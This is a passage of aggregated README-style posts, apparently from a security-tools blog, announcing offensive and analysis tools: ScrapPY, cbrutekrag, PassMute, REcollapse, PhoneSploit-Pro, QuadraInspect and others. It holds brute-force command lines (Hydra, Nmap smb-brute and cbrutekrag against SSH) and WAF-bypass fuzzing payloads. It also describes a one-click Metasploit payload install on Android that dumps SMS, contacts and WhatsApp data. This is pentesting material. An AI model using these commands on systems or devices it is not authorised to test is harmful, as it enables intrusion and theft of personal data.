    By using this tool, developers can quickly identify if their API keys are leaking and take steps to fix the problem before they are compromised. Furthermore, the tool can be useful for security officers, who can use it to verify that applications and websites that use external APIs are adequately protecting their keys.

    In summary, this tool is an efficient and accurate solution to help secure your API keys and prevent sensitive information leaks.


    Help

    Usage

    Install

    git clone https://github.com/MrEmpy/Mantra
    cd Mantra
    make
    ./build/mantra-amd64-linux -h

    Buy me a coffee?

    LivePix



    ScrapPY - A Python Utility For Scraping Manuals, Documents, And Other Sensitive PDFs To Generate Wordlists That Can Be Utilized By Offensive Security Tools

    By: Zion3R


    ScrapPY is a Python utility for scraping manuals, documents, and other sensitive PDFs to generate targeted wordlists that can be utilized by offensive security tools to perform brute force, forced browsing, and dictionary attacks. ScrapPY performs word frequency, entropy, and metadata analysis, and can run in full output modes to craft custom wordlists for targeted attacks. The tool dives deep to discover keywords and phrases leading to potential passwords or hidden directories, outputting to a text file that is readable by tools such as Hydra, Dirb, and Nmap. Expedite initial access, vulnerability discovery, and lateral movement with ScrapPY!


    Install:

    Download Repository:

    $ mkdir ScrapPY
    $ cd ScrapPY/
    $ sudo git clone https://github.com/RoseSecurity/ScrapPY.git

    Install Dependencies:

    $ pip3 install -r requirements.txt

    ScrapPY Usage:

    usage: ScrapPY.py [-h] [-f FILE] [-m {word-frequency,full,metadata,entropy}] [-o OUTPUT]

    Output metadata of document:

    $ python3 ScrapPY.py -f example.pdf -m metadata

    Output top 100 frequently used keywords to a file name Top_100_Keywords.txt:

    $ python3 ScrapPY.py -f example.pdf -m word-frequency -o Top_100_Keywords.txt

    Output all keywords to default ScrapPY.txt file:

    $ python3 ScrapPY.py -f example.pdf

    Output top 100 keywords with highest entropy rating:

    $ python3 ScrapPY.py -f example.pdf -m entropy

    ScrapPY Output:

    # ScrapPY outputs the ScrapPY.txt file or specified name file to the directory in which the tool was ran. To view the first fifty lines of the file, run this command:

    $ head -50 ScrapPY.txt

    # To see how many words were generated, run this command:

    $ wc -l ScrapPY.txt

    Integration with Offensive Security Tools:

    Easily integrate with tools such as Dirb to expedite the process of discovering hidden subdirectories:

    root@RoseSecurity:~# dirb http://192.168.1.123/ /root/ScrapPY/ScrapPY.txt

    -----------------
    DIRB v2.21
    By The Dark Raver
    -----------------

    START_TIME: Fri May 16 13:41:45 2014
    URL_BASE: http://192.168.1.123/
    WORDLIST_FILES: /root/ScrapPY/ScrapPY.txt

    -----------------

    GENERATED WORDS: 4592

    ---- Scanning URL: http://192.168.1.123/ ----
    ==> DIRECTORY: http://192.168.1.123/vi/
    + http://192.168.1.123/programming (CODE:200|SIZE:2726)
    + http://192.168.1.123/s7-logic/ (CODE:403|SIZE:1122)
    ==> DIRECTORY: http://192.168.1.123/config/
    ==> DIRECTORY: http://192.168.1.123/docs/
    ==> DIRECTORY: http://192.168.1.123/external/

    Utilize ScrapPY with Hydra for advanced brute force attacks:

    root@RoseSecurity:~# hydra -l root -P /root/ScrapPY/ScrapPY.txt -t 6 ssh://192.168.1.123
    Hydra v7.6 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only

    Hydra (http://www.thc.org/thc-hydra) starting at 2014-05-19 07:53:33
    [DATA] 6 tasks, 1 server, 1003 login tries (l:1/p:1003), ~167 tries per task
    [DATA] attacking service ssh on port 22

    Enhance Nmap scripts with ScrapPY wordlists:

    nmap -p445 --script smb-brute.nse --script-args userdb=users.txt,passdb=ScrapPY.txt 192.168.1.123

    Future Development:

    • Allow for custom output file naming and increased verbosity
    • Integrate different modes of operation including word frequency analysis
    • Allow for metadata analysis
    • Search for high-entropy data
    • Search for path-like data
    • Implement image OCR to enumerate data from images in PDFs
    • Allow for processing of multiple PDFs


    Jsfinder - Fetches JavaScript Files Quickly And Comprehensively

    By: Zion3R


    jsFinder is a command-line tool written in Go that scans web pages to find JavaScript files linked in the HTML source code. It searches for any attribute that can contain a JavaScript file (e.g., src, href, data-main, etc.) and extracts the URLs of the files to a text file. The tool is designed to be simple to use, and it supports reading URLs from a file or from standard input.

    jsFinder is useful for web developers and security professionals who want to find and analyze the JavaScript files used by a web application. By analyzing the JavaScript files, it's possible to understand the functionality of the application and detect any security vulnerabilities or sensitive information leakage.


    Features

    • Reading URLs from a file or from stdin using command line arguments.
    • Running multiple HTTP GET requests concurrently to each URL.
    • Limiting the concurrency of HTTP GET requests using a flag.
    • Using a regular expression to search for JavaScript files in the response body of the HTTP GET requests.
    • Writing the found JavaScript files to a file specified in the command line arguments or to a default file named "output.txt".
    • Printing informative messages to the console indicating the status of the program's execution and the output file's location.
    • Allowing the program to run in verbose or silent mode using a flag.

    Installation

    jsfinder requires Go 1.20 to install successfully.Run the following command to get the repo :

    go install -v github.com/kacakb/jsfinder@latest

    Usage

    To see which flags you can use with the tool, use the -h flag.

    jsfinder -h 
    Flag Description
    -l Specifies the filename to read URLs from.
    -c Specifies the maximum number of concurrent requests to be made. The default value is 20.
    -s Runs the program in silent mode. If this flag is not set, the program runs in verbose mode.
    -o Specifies the filename to write found URLs to. The default filename is output.txt.
    -read Reads URLs from stdin instead of a file specified by the -l flag.

    Demo

    I

    Fetches JavaScript files quickly and comprehensively. (6)

    If you want to read from stdin and run the program in silent mode, use this command:

    cat list.txt| jsfinder -read -s -o js.txt

    Β 

    II

    Fetches JavaScript files quickly and comprehensively. (7)

    If you want to read from a file, you should specify it with the -l flag and use this command:

    jsfinder -l list.txt -s -o js.txt

    You can also specify the concurrency with the -c flag.The default value is 20. If you want to read from a file, you should specify it with the -l flag and use this command:

    jsfinder -l list.txt -c 50 -s -o js.txt

    TODOs

    • Adding new features
    • Improving performance
    • Adding a cookie flag
    • Reading regex from a file
    • Integrating the kacak tool (coming soon)

    Screenshot

    Contact

    If you have any questions, feedback or collaboration suggestions related to this project, please feel free to contact me via:

    e-mail

    Cbrutekrag - Penetration Tests On SSH Servers Using Brute Force Or Dictionary Attacks. Written In C

    By: Zion3R


    Penetration tests on SSH servers using dictionary attacks. Written in C.

    brute krag means "brute force" in afrikΓ‘ans

    Disclaimer

    This tool is for ethical testing purpose only.
    cbrutekrag and its owners can't be held responsible for misuse by users.
    Users have to act as permitted by local law rules.

    Β 

    Requirements

    cbrutekrag uses libssh - The SSH Library (http://www.libssh.org/)

    Build

    Requirements:

    • make
    • gcc compiler
    • libssh-dev
    git clone --depth=1 https://github.com/matricali/cbrutekrag.git
    cd cbrutekrag
    make
    make install

    Static build

    Requirements:

    • cmake
    • gcc compiler
    • make
    • libssl-dev
    • libz-dev
    git clone --depth=1 https://github.com/matricali/cbrutekrag.git
    cd cbrutekrag
    bash static-build.sh
    make install

    Run

    OpenSSH Brute force tool 0.5.0 __/ | (c) Copyright 2014-2022 Jorge Matricali |___/ usage: ./cbrutekrag [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C combinations.lst] [-t THREADS] [-o OUTPUT.txt] [TARGETS...] -h This help -v Verbose mode -V Verbose mode (sshlib) -s Scan mode -D Dry run -P Progress bar -T <targets> Targets file -C <combinations> Username and password file -t <threads> Max threads -o <output> Output log file -a Accepts non OpenSSH servers -A Allow servers detected as honeypots." dir="auto">
    $ cbrutekrag -h
    _ _ _
    | | | | | |
    ___ | |__ _ __ _ _| |_ ___| | ___ __ __ _ __ _
    / __|| '_ \| '__| | | | __/ _ \ |/ / '__/ _` |/ _` |
    | (__ | |_) | | | |_| | || __/ <| | | (_| | (_| |
    \___||_.__/|_| \__,_|\__\___|_|\_\_| \__,_|\__, |
    OpenSSH Brute force tool 0.5.0 __/ |
    (c) Copyright 2014-2022 Jorge Matricali |___/


    usage: ./cbrutekrag [-h] [-v] [-aA] [-D] [-P] [-T TARGETS.lst] [-C combinations.lst]
    [-t THREADS] [-o OUTPUT.txt] [TARGETS...]

    -h This help
    -v Verbose mode
    -V Verbose mode (sshlib)
    -s Scan mode
    -D Dry run
    -P Progress bar
    -T <targets> Targets file
    -C <combinations> Username and password file -t <threads> Max threads
    -o <output> Output log file
    -a Accepts non OpenSSH servers
    -A Allow servers detected as honeypots.

    Example usages

    cbrutekrag -T targets.txt -C combinations.txt -o result.log
    cbrutekrag -s -t 8 -C combinations.txt -o result.log 192.168.1.0/24

    Supported targets syntax

    • 192.168.0.1
    • 10.0.0.0/8
    • 192.168.100.0/24:2222
    • 127.0.0.1:2222

    Combinations file format

    root root
    root password
    root $BLANKPASS$


    PassMute - PassMute - A Multi Featured Password Transmutation/Mutator Tool

    By: Zion3R


    This is a command-line tool written in Python that applies one or more transmutation rules to a given password or a list of passwords read from one or more files. The tool can be used to generate transformed passwords for security testing or research purposes. Also, while you doing pentesting it will be very useful tool for you to brute force the passwords!!


    How Passmute can also help to secure our passwords more?

    PassMute can help to generate strong and complex passwords by applying different transformation rules to the input password. However, password security also depends on other factors such as the length of the password, randomness, and avoiding common phrases or patterns.

    The transformation rules include:

    reverse: reverses the password string

    uppercase: converts the password to uppercase letters

    lowercase: converts the password to lowercase letters

    swapcase: swaps the case of each letter in the password

    capitalize: capitalizes the first letter of the password

    leet: replaces some letters in the password with their leet equivalents

    strip: removes all whitespace characters from the password

    The tool can also write the transformed passwords to an output file and run the transformation process in parallel using multiple threads.

    Installation

    git clone https://HITH-Hackerinthehouse/PassMute.git
    cd PassMute
    chmod +x PassMute.py

    Usage To use the tool, you need to have Python 3 installed on your system. Then, you can run the tool from the command line using the following options:

    python PassMute.py [-h] [-f FILE [FILE ...]] -r RULES [RULES ...] [-v] [-p PASSWORD] [-o OUTPUT] [-t THREAD_TIMEOUT] [--max-threads MAX_THREADS]

    Here's a brief explanation of the available options:

    -h or --help: shows the help message and exits

    -f (FILE) [FILE ...], --file (FILE) [FILE ...]: one or more files to read passwords from

    -r (RULES) [RULES ...] or --rules (RULES) [RULES ...]: one or more transformation rules to apply

    -v or --verbose: prints verbose output for each password transformation

    -p (PASSWORD) or --password (PASSWORD): transforms a single password

    -o (OUTPUT) or --output (OUTPUT): output file to save the transformed passwords

    -t (THREAD_TIMEOUT) or --thread-timeout (THREAD_TIMEOUT): timeout for threads to complete (in seconds)

    --max-threads (MAX_THREADS): maximum number of threads to run simultaneously (default: 10)

    NOTE: If you are getting any error regarding argparse module then simply install the module by following command: pip install argparse

    Examples

    Here are some example commands those read passwords from a file, applies two transformation rules, and saves the transformed passwords to an output file:

    Single Password transmutation: python PassMute.py -p HITHHack3r -r leet reverse swapcase -v -t 50

    Multiple Password transmutation: python PassMute.py -f testwordlists.txt -r leet reverse -v -t 100 -o testupdatelists.txt

    Here Verbose and Thread are recommended to use in case you're transmutating big files and also it depends upon your microprocessor as well, it's not required every time to use threads and verbose mode.

    Legal Disclaimer:

    You might be super excited to use this tool, we too. But here we need to confirm! Hackerinthehouse, any contributor of this project and Github won't be responsible for any actions made by you. This tool is made for security research and educational purposes only. It is the end user's responsibility to obey all applicable local, state and federal laws.



    REcollapse Is A Helper Tool For Black-Box Regex Fuzzing To Bypass Validations And Discover Normalizations In Web Applications

    By: Zion3R


    REcollapse is a helper tool for black-box regex fuzzing to bypass validations and discover normalizations in web applications.

    It can also be helpful to bypass WAFs and weak vulnerability mitigations. For more information, take a look at the REcollapse blog post.

    The goal of this tool is to generate payloads for testing. Actual fuzzing shall be done with other tools like Burp (intruder), ffuf, or similar.


    Installation

    Requirements: Python 3

    pip3 install --user --upgrade -r requirements.txt or ./install.sh

    Docker

    docker build -t recollapse . or docker pull 0xacb/recollapse


    Usage

    $ recollapse -h
    usage: recollapse [-h] [-p POSITIONS] [-e {1,2,3}] [-r RANGE] [-s SIZE] [-f FILE]
    [-an] [-mn MAXNORM] [-nt]
    [input]

    REcollapse is a helper tool for black-box regex fuzzing to bypass validations and
    discover normalizations in web applications

    positional arguments:
    input original input

    options:
    -h, --help show this help message and exit
    -p POSITIONS, --positions POSITIONS
    pivot position modes. Example: 1,2,3,4 (default). 1: starting,
    2: separator, 3: normalization, 4: termination
    -e {1,2,3}, --encoding {1,2,3}
    1: URL-encoded format (default), 2: Unicode format, 3: Raw
    format
    -r RANGE, --range RANGE
    range of bytes for fuzzing. Example: 0,0xff (default)
    -s SIZE, --size SIZE numb er of fuzzing bytes (default: 1)
    -f FILE, --file FILE read input from file
    -an, --alphanum include alphanumeric bytes in fuzzing range
    -mn MAXNORM, --maxnorm MAXNORM
    maximum number of normalizations (default: 3)
    -nt, --normtable print normalization table

    Detailed options explanation

    Let's consider this_is.an_example as the input.

    Positions

    1. Fuzz the beginning of the input: $this_is.an_example
    2. Fuzz the before and after special characters: this$_$is$.$an$_$example
    3. Fuzz normalization positions: replace all possible bytes according to the normalization table
    4. Fuzz the end of the input: this_is.an_example$

    Encoding

    1. URL-encoded format to be used with application/x-www-form-urlencoded or query parameters: %22this_is.an_example
    2. Unicode format to be used with application/json: \u0022this_is.an_example
    3. Raw format to be used with multipart/form-data: "this_is.an_example

    Range

    Specify a range of bytes for fuzzing: -r 1-127. This will exclude alphanumeric characters unless the -an option is provided.

    Size

    Specify the size of fuzzing for positions 1, 2 and 4. The default approach is to fuzz all possible values for one byte. Increasing the size will consume more resources and generate many more inputs, but it can lead to finding new bypasses.

    File

    Input can be provided as a positional argument, stdin, or a file through the -f option.

    Alphanumeric

    By default, alphanumeric characters will be excluded from output generation, which is usually not interesting in terms of responses. You can allow this with the -an option.

    Maximum number or normalizations

    Not all normalization libraries have the same behavior. By default, three possibilities for normalizations are generated for each input index, which is usually enough. Use the -mn option to go further.

    Normalization table

    Use the -nt option to show the normalization table.


    Example

    $ recollapse -e 1 -p 1,2,4 -r 10-11 https://legit.example.com
    %0ahttps://legit.example.com
    %0bhttps://legit.example.com
    https%0a://legit.example.com
    https%0b://legit.example.com
    https:%0a//legit.example.com
    https:%0b//legit.example.com
    https:/%0a/legit.example.com
    https:/%0b/legit.example.com
    https://%0alegit.example.com
    https://%0blegit.example.com
    https://legit%0a.example.com
    https://legit%0b.example.com
    https://legit.%0aexample.com
    https://legit.%0bexample.com
    https://legit.example%0a.com
    https://legit.example%0b.com
    https://legit.example.%0acom
    https://legit.example.%0bcom
    https://legit.example.com%0a
    https://legit.example.com%0b

    Resources

    This technique has been presented on BSidesLisbon 2022

    Blog post: https://0xacb.com/2022/11/21/recollapse/

    Slides:

    Videos:

    Normalization table: https://0xacb.com/normalization_table


    Thanks

    and



    PhoneSploit-Pro - An All-In-One Hacking Tool To Remotely Exploit Android Devices Using ADB And Metasploit-Framework To Get A Meterpreter Session


    An all-in-one hacking tool written in Python to remotely exploit Android devices using ADB (Android Debug Bridge) and Metasploit-Framework.

    Complete Automation to get a Meterpreter session in One Click

    This tool can automatically Create, Install, and Run payload on the target device using Metasploit-Framework and ADB to completely hack the Android Device in one click.

    The goal of this project is to make penetration testing on Android devices easy. Now you don't have to learn commands and arguments, PhoneSploit Pro does it for you. Using this tool, you can test the security of your Android devices easily.

    PhoneSploit Pro can also be used as a complete ADB Toolkit to perform various operations on Android devices over Wi-Fi as well as USB.

    Β 

    Features

    v1.0

    • Connect device using ADB remotely.
    • List connected devices.
    • Disconnect all devices.
    • Access connected device shell.
    • Stop ADB Server.
    • Take screenshot and pull it to computer automatically.
    • Screen Record target device screen for a specified time and automatically pull it to computer.
    • Download file/folder from target device.
    • Send file/folder from computer to target device.
    • Run an app.
    • Install an APK file from computer to target device.
    • Uninstall an app.
    • List all installed apps in target device.
    • Restart/Reboot the target device to System, Recovery, Bootloader, Fastboot.
    • Hack Device Completely :
      • Automatically fetch your IP Address to set LHOST.
      • Automatically create a payload using msfvenom, install it, and run it on target device.
      • Then automatically launch and setup Metasploit-Framework to get a meterpreter session.
      • Getting a meterpreter session means the device is completely hacked using Metasploit-Framework, and you can do anything with it.

    v1.1

    • List all files and folders of the target devices.
    • Copy all WhatsApp Data to computer.
    • Copy all Screenshots to computer.
    • Copy all Camera Photos to computer.
    • Take screenshots and screen-record anonymously (Automatically delete file from target device).
    • Open a link on target device.
    • Display an image/photo on target device.
    • Play an audio on target device.
    • Play a video on target device.
    • Get device information.
    • Get battery information.
    • Use Keycodes to control device remotely.

    v1.2

    • Send SMS through target device.
    • Unlock device (Automatic screen on, swipe up and password input).
    • Lock device.
    • Dump all SMS from device to computer.
    • Dump all Contacts from device to computer.
    • Dump all Call Logs from device to computer.
    • Extract APK from an installed app.

    v1.3

    • Mirror and Control the target device.

    v1.4

    • Power off the target device.

    Requirements

    Run PhoneSploit Pro

    PhoneSploit Pro does not need any installation and runs directly using python3

    On Linux / macOS :

    Make sure all the required software are installed.

    Open terminal and paste the following commands :

    git clone https://github.com/AzeemIdrisi/PhoneSploit-Pro.git
    cd PhoneSploit-Pro/
    python3 phonesploitpro.py

    On Windows :

    Make sure all the required software are installed.

    Open terminal and paste the following commands :

    git clone https://github.com/AzeemIdrisi/PhoneSploit-Pro.git
    cd PhoneSploit-Pro/
    1. Download and extract latest platform-tools from here.

    2. Copy all files from the extracted platform-tools or adb directory to PhoneSploit-Pro directory and then run :

    python phonesploitpro.py

    Screenshots

    Installing ADB

    ADB on Linux :

    Open terminal and paste the following commands :

    • Debian / Ubuntu
    sudo apt update
    sudo apt install adb
    • Fedora
    sudo dnf install adb
    • Arch Linux / Manjaro
    sudo pacman -Sy android-tools

    For other Linux Distributions : Visit this Link

    ADB on macOS :

    Open terminal and paste the following command :

    brew install android-platform-tools

    or Visit this link : Click Here

    ADB on Windows :

    Visit this link : Click Here

    ADB on Termux :

    pkg update
    pkg install android-tools

    Installing Metasploit-Framework

    On Linux / macOS :

    curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
    chmod 755 msfinstall && \
    ./msfinstall

    or Follow this link : Click Here

    or Visit this link : Click Here

    On Windows :

    Visit this link : Click Here

    or Follow this link : Click Here

    Installing scrcpy

    Visit the scrcpy GitHub page for latest installation instructions : Click Here

    On Windows : Copy all the files from the extracted scrcpy folder to PhoneSploit-Pro folder.

    If scrcpy is not available for your Linux distro, then you can build it with a few simple steps : Build Guide

    Tutorial

    Setting up Android Phone for the first time

    • Enabling the Developer Options
    1. Open Settings.
    2. Go to About Phone.
    3. Find Build Number.
    4. Tap on Build Number 7 times.
    5. Enter your pattern, PIN or password to enable the Developer options menu.
    6. The Developer options menu will now appear in your Settings menu.
    • Enabling USB Debugging
    1. Open Settings.
    2. Go to System > Developer options.
    3. Scroll down and Enable USB debugging.
    • Connecting with Computer
    1. Connect your Android device and adb host computer to a common Wi-Fi network.
    2. Connect the device to the host computer with a USB cable.
    3. Open terminal in the computer and enter the following command :
    adb devices
    1. A pop-up will appear in the Android phone when you connect your phone to a new PC for the first time : Allow USB debugging?.
    2. Click on Always allow from this computer check-box and then click Allow.
    3. Then enter the following command :
    adb tcpip 5555
    1. Now you can connect the Android Phone over Wi-Fi.
    2. Disconnect the USB cable.
    3. Go to Settings > About Phone > Status > IP address and note the phone's IP Address.
    4. Run PhoneSploit Pro and select Connect a device and enter the target's IP Address to connect over Wi-Fi.

    Connecting the Android phone for the next time

    1. Connect your Android device and host computer to a common Wi-Fi network.
    2. Run PhoneSploit Pro and select Connect a device and enter the target's IP Address to connect over Wi-Fi.

    This tool is tested on

    • βœ…Ubuntu
    • βœ…Linux Mint
    • βœ…Kali Linux
    • βœ…Fedora
    • βœ…Arch Linux
    • βœ…Parrot Security OS
    • βœ…Windows 11
    • βœ…Termux (Android)

    All the new features are primarily tested on Linux, thus Linux is recommended for running PhoneSploit Pro. Some features might not work properly on Windows.

    Disclaimer

    • Neither the project nor its developer promote any kind of illegal activity and are not responsible for any misuse or damage caused by this project.
    • This project is for the purpose of penetration testing only.
    • Please do not use this tool on other people's devices without their permission.
    • Do not use this tool to harm others.
    • Use this project responsibly on your own devices only.
    • It is the end user's responsibility to obey all applicable local, state, federal, and international laws.


    QuadraInspect - Android Framework That Integrates AndroPass, APKUtil, And MobFS, Providing A Powerful Tool For Analyzing The Security Of Android Applications


    The security of mobile devices has become a critical concern due to the increasing amount of sensitive data being stored on them. With the rise of Android OS as the most popular mobile platform, the need for effective tools to assess its security has also increased. In response to this need, a new Android framework has emerged that combines three powerful tools - AndroPass, APKUtil, RMS, and MobFS - to conduct comprehensive vulnerability analysis of Android applications. This framework is known as QuadraInspect.

    QuadraInspect is an Android framework that integrates AndroPass, APKUtil, RMS and MobFS, providing a powerful tool for analyzing the security of Android applications. AndroPass is a tool that focuses on analyzing the security of Android applications' authentication and authorization mechanisms, while APKUtil is a tool that extracts valuable information from an APK file. Lastly, MobFS and RMS facilitates the analysis of an application's filesystem by mounting its storage in a virtual environment.

    By combining these three tools, QuadraInspect provides a comprehensive approach to vulnerability analysis of Android applications. This framework can be used by developers, security researchers, and penetration testers to assess the security of their own or third-party applications. QuadraInspect provides a unified interface for all three tools, making it easier to use and reducing the time required to conduct comprehensive vulnerability analysis. Ultimately, this framework aims to increase the security of Android applications and protect users' sensitive data from potential threats.


    Requirements

    • Windows, Linux or Mac
    • NodeJs installed
    • Python 3 installed
    • OpenSSL-3 installed
    • Wkhtmltopdf installed

    Installation

    To install the tools you need to: First : git clone https://github.com/morpheuslord/QuadraInspect

    Second Open a Administrative cmd or powershell (for Mobfs setup) and run : pip install -r requirements.txt && python3 main.py

    Third : Once QuadraInspect loads run this command QuadraInspect Main>> : START install_tools

    The tools will be downloaded to the tools directory and also the setup.py and setup.bat commands will run automatically for the complete installation.

    Usage

    Each module has a help function so that the commands and the discriptions are detailed and can be altered for operation.

    These are the key points that must be addressed for smooth working:

    • The APK file or target must be declared before starting any attack
    • The Attacks are seperate entities combined via this framework doing research on how to use them is recommended.
    • The APK file can be ether declared ether using args or using SET target withing the tool.
    • The target APK file must be placed in the target folder as all the tool searches for the target file with that folder.

    Modes

    There are 2 modes:

    |
    └─> F mode
    └─> A mode

    F mode

    The f mode is a mode where you get the active interface for using the interactive vaerion of the framework with the prompt, etc.

    F mode is the normal mode and can be used easily

    A mode

    A mode or argumentative mode takes the input via arguments and runs the commands without any intervention by the user this is limited to the main menu in the future i am planning to extend this feature to even the encorporated codes.

    python main.py --target <APK_file> --mode a --command install_tools/tools_name/apkleaks/mobfs/rms/apkleaks

    Main Module

    the main menu of the entire tool has these options and commands:

    Command Discription
    SET target SET the name of the targetfile
    START install_tools If not installed this will install the tools
    LIST tools_name List out the Tools Intigrated
    START apkleaks Use APKLeaks tool
    START mobfs Use MOBfs for dynamic and static analysis
    START andropass Use AndroPass APK analizer
    help Display help menu
    SHOW banner Display banner
    quit Quit the program

    As mentioned above the target must be set before any tool is used.

    Apkleaks menu

    The APKLeaks menu is also really straight forward and only a few things to consider:

    • The options SET output and SET json-out takes file names not the actual files it creates an output in the result directory.
    • The SET pattern option takes a name of a json pattern file. The JSON file must be located in the pattern directory
    OPTION SET Value
    SET output Output for the scan data file name
    SET arguments Additional Disassembly arguments
    SET json-out JSON output file name
    SET pattern The pre-searching pattern for secrets
    help Displays help menu
    return Return to main menu
    quit Quit the tool

    Mobfs

    Mobfs is pritty straight forward only the port number must be taken care of which is by default on port 5000 you just need to start the program and connect to it on 127.0.0.1:5000 over your browser.

    AndroPass

    AndroPass is also really straight forward it just takes the file as input and does its job without any other inputs.

    Architecture:

    The APK analysis framework will follow a modular architecture, similar to Metasploit. It will consist of the following modules:

    • Core module: The core module will provide the basic functionality of the framework, such as command-line interface, input/output handling, and logging.
    • Static analysis module: The static analysis module will be responsible for analyzing the structure and content of APK files, such as the manifest file, resources, and code.
    • Dynamic analysis module: The dynamic analysis module will be responsible for analyzing the behavior of APK files, such as network traffic, API calls, and file system interactions.
    • Reverse engineering module: The reverse engineering module will be responsible for decompiling and analyzing the source code of APK files.
    • Vulnerability testing module: The vulnerability testing module will be responsible for testing the security of APK files, such as identifying vulnerabilities and exploits.

    Adding more

    Currentluy there only 3 but if wanted people can add more tools to this these are the things to be considered:

    • Installer function
    • Seperate tool function
    • Main function

    Installer Function

    • Must edit in the config/installer.py
    • The things to consider in the installer is the link for the repository.
    • keep the cloner and the directory in a try-except condition to avoide errors.
    • choose an appropriate command for further installation

    Seperate tool function

    • Must edit in the config/mobfs.py , config/androp.py, config/apkleaks.py
    • Write a new function for the specific tool
    • File handeling is up to you I recommend passing the file name as an argument and then using the name to locate the file using the subprocess function
    • the tools must also recommended to be in a try-except condition to avoide unwanted errors.

    Main Function

    • A new case must be added to the switch function to act as a main function holder
    • the help menu listing and commands are up to your requirements and comfort

    If wanted you could do your upgrades and add it to this repository for more people to use kind of growing this tool.



    ❌